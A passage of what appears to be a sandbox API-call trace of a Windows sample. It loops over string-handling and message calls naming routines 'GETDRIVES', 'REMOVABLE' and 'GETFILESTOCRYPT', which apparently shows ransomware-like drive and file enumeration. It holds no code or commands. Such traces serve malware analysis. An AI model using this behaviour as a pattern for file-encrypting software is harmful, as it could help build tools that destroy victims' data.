returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.449] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.449] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.449] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.449] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.449] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.449] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.449] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.449] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.450] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.450] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.450] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.450] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.450] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.450] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.450] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.450] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.451] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.451] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.451] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.451] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.451] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.451] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.451] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.451] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.451] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.451] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.451] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.452] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.452] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.452] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.452] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.452] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.452] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.452] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.452] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.452] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.452] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.452] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.452] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.452] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.452] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.452] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.452] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.452] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.452] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.453] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.453] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.453] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.453] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.453] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.453] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.453] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.453] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.453] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.453] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.454] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.454] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.454] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.454] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.454] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.454] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.454] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.454] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.454] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.454] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.454] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.454] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.454] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.454] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.454] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.454] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.455] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.455] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.455] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.455] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.455] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.455] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.455] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.456] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.456] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.456] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.456] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.456] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.456] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.456] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.457] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.457] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.457] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.457] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.457] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.457] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.457] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.457] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.457] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.459] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.459] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.459] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.459] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.459] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.459] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.459] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.459] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.459] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.459] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.459] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.459] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.459] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.460] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.460] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.460] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.460] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.460] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.462] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.462] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.462] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.462] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.462] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.462] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.462] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.462] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.463] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.463] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.463] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.463] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.463] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.463] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.463] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.463] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.463] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.464] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.464] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.464] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.464] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.464] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 